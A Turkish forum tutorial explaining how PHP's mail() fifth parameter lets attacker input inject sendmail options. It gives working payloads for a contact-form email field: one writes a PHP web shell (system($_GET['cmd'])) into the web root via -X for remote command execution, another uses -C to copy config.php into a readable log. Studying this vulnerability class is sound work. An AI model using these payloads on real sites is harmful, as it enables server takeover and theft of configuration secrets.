Exploiting PHP Mail() -> RCE

Cezeri

Yönetici
→ Mail fonksiyonu nedir ?
→ Kullanım örneği ?
→ Zafiyetin doğuşu ?
→ mail() fonksiyonu ile RCE ?
→ mail() fonksiyonu ile Arbitrary File Read ?

1) Mail fonksiyonu nedir ?

PHP en çok kullanılan web dillerinden bir tanesidir, ve bu dilin zafiyete sebep olabilecek fonksiyonlarını bilmek saldırgan için avantaj sağlayacaktır. Özellikle Command Execution tarzı zafiyetlere sebep olan fonksiyonlar mutlaka gözden geçirilmelidir. Bunlardan bir tanesi olan mail() fonksiyonunu inceleyeceğiz.

Dinamik bir web sitesi oluşturmak için “contact” formları sıkça kullanılmakta. Bu sayede site yöneticisi ve kullanıcılar arası bir iletişim gerçekleşmekte. PHP ile tasarlanmış web sitesinde bu formlar için mail() fonksiyonu kullanılan yöntemlerden bir tanesidir. Bu yöntemin kullanımı basit olmakla birlikte dikkatli kullanılmadığı durumda Command Execution zafiyetine sebep olabilmektedir.

2) Kullanım örneği ?

PHP’ de mail fonksiyonu 3 zorunlu 2 de opsiyonel parametre olarak totalde 5 adet parametre alır.
Terminalden “php --rf mail” komutunu girerek göz atabilirsiniz.

0fa4d4f370c1e54eb897382ed933f9a84eb505bb.png

Bu resimden anlaşılacağı üzere $to , $subject ve $message parametrelerini kullanmak zorundayız.

Bu fonksiyonun örnek kullanımı şu şekildedir ;

mail($to, $subject, $message, $additional_headers, $additional_parameters);

Şimdi basit bir form hazırlayalım, ve bu form üzerinden ad, eposta, konu ve mesaj gibi değişkenler alalım ve bu değişkenlerimizi “send.php” dosyamız üzerinden mail() fonksiyonu kullanarak kendi mail adresimize gönderelim.

index.php İçeriği ;

2ff6f073cf4d2b4f95d835abbb45256033472846.png


send.php içeriği ;

b6931a5ac9ea4b13313a96e0dd23304f2de500bc.png


index.php sayfası üzerinden girilen değerler sonucunda "[email protected]" adresine mail gönderme işlemi gerçekleşmektedir. mail() fonksiyonu basit manada bu şekilde çalışmaktadır.


3) Zafiyetin doğuşu ?

Yukarıda mail fonksiyonun alması gereken zorunlu parametreler dışında 2 adet opsiyonel parametresi var demiştik. Bunlardan sonuncusu olan ve “$additional_parameters” şeklinde bahsi geçen 5. parametremiz zafiyetin oluştuğu nokta. Bu 5. parametremiz ile mail fonksiyonu içerisinde özel olarak tanımlanmış ek parametreler kullanabilmekteyiz.

Bu ek parametrelerden bizim için ilginç olan bazılarına hızlı bir göz atalım ;
-C = Alternatif configuration dosyası belirtmek için kullanılır.
-O = Seçilen özelliğin değerini belirlemek için kullanılır.
-X = Log dosyası yazdırmak için kullanılır.
Aslında bu parametreler, “sendmail” adlı uygulamaya ait parametrelerdir. Çünkü PHP’nin mail() adlı fonksiyonu “sendmail” uygulaması üzerinden işlem gerçekleştirmektedir. Bu bilgi üzerinden çok fazla durmayacağım fakat isterseniz sendmail hakkında araştırma yaparak parametrelerin mantığını daha detaylı araştırabilirsiniz.
Uzun lafın kısası bu parametrelere kendi değerlerimizi atayarak Arbitrary File Read ve Command Execution zafiyetleri elde edeceğiz.

4) mail() fonksiyonu ile RCE ?

Yukarıda “-X” parametresi aracılığıyla log dosyası yazdırabileceğimizden bahsettik. Biz yazdıracağımız log dosyasını “.php” uzantılı bir dosya olarak belirleyip, içerisine de kendi php kodlarımızı yazarak komutlarımızı çalıştırabileceğimiz bir shell elde edebiliriz.

Bu amaçla “eposta” input değeri için şöyle bir payload kullanıyoruz ;
[email protected] -OQueueDirectory=/var/www/html/mail/ -X/var/www/html/mail/shell.php
Mesaj içeriğine de komut çalıştırmak adına küçük bir php kodu yerleştiriyoruz ;
<?php system($_GET["cmd"]); ?>

d12e90edcb3d58d7734b1febba14b6edef82e97b.png


Bu işlem sonucu log dosyası olarak “shell.php” adlı dosya oluşuyor ve “cmd” parametresi ile komutlarımızı çalıştırabiliyoruz.

4704ea352ae1993b277dce2c9cadeac3927b5add.png


5) mail() fonksiyonu ile Arbitrary File Read ?

-C” parametresi ile alternatif bir configuration dosyası belirtebileceğimizden bahsetmiştik. Bu dosya değerini okumak istediğimiz dosya olarak belirteceğiz ve sonrasında “-X” parametresi ile bunu log dosyamıza yazdıracağız. Daha sonra log dosyasını okuyarak hedef dosyamızı okumuş olacağız.

Bu amaçla “eposta” input değeri için şöyle bir payload kullanıyoruz ;
[email protected] -C/var/www/html/mail/config.php -OQueueDirectory=/var/www/html/mail/ -X/var/www/html/mail/read.txt
e802be5d1a5d188e6b04dacb7053e9fe1611af65.png


Bu işlem sonucu “read.txt” dosyası üzerinden “config.php” dosyasının kopyasını okuyabiliriz.

f3d597f2b33d5864c3d2331f5a419b0289968905.png
 
Üst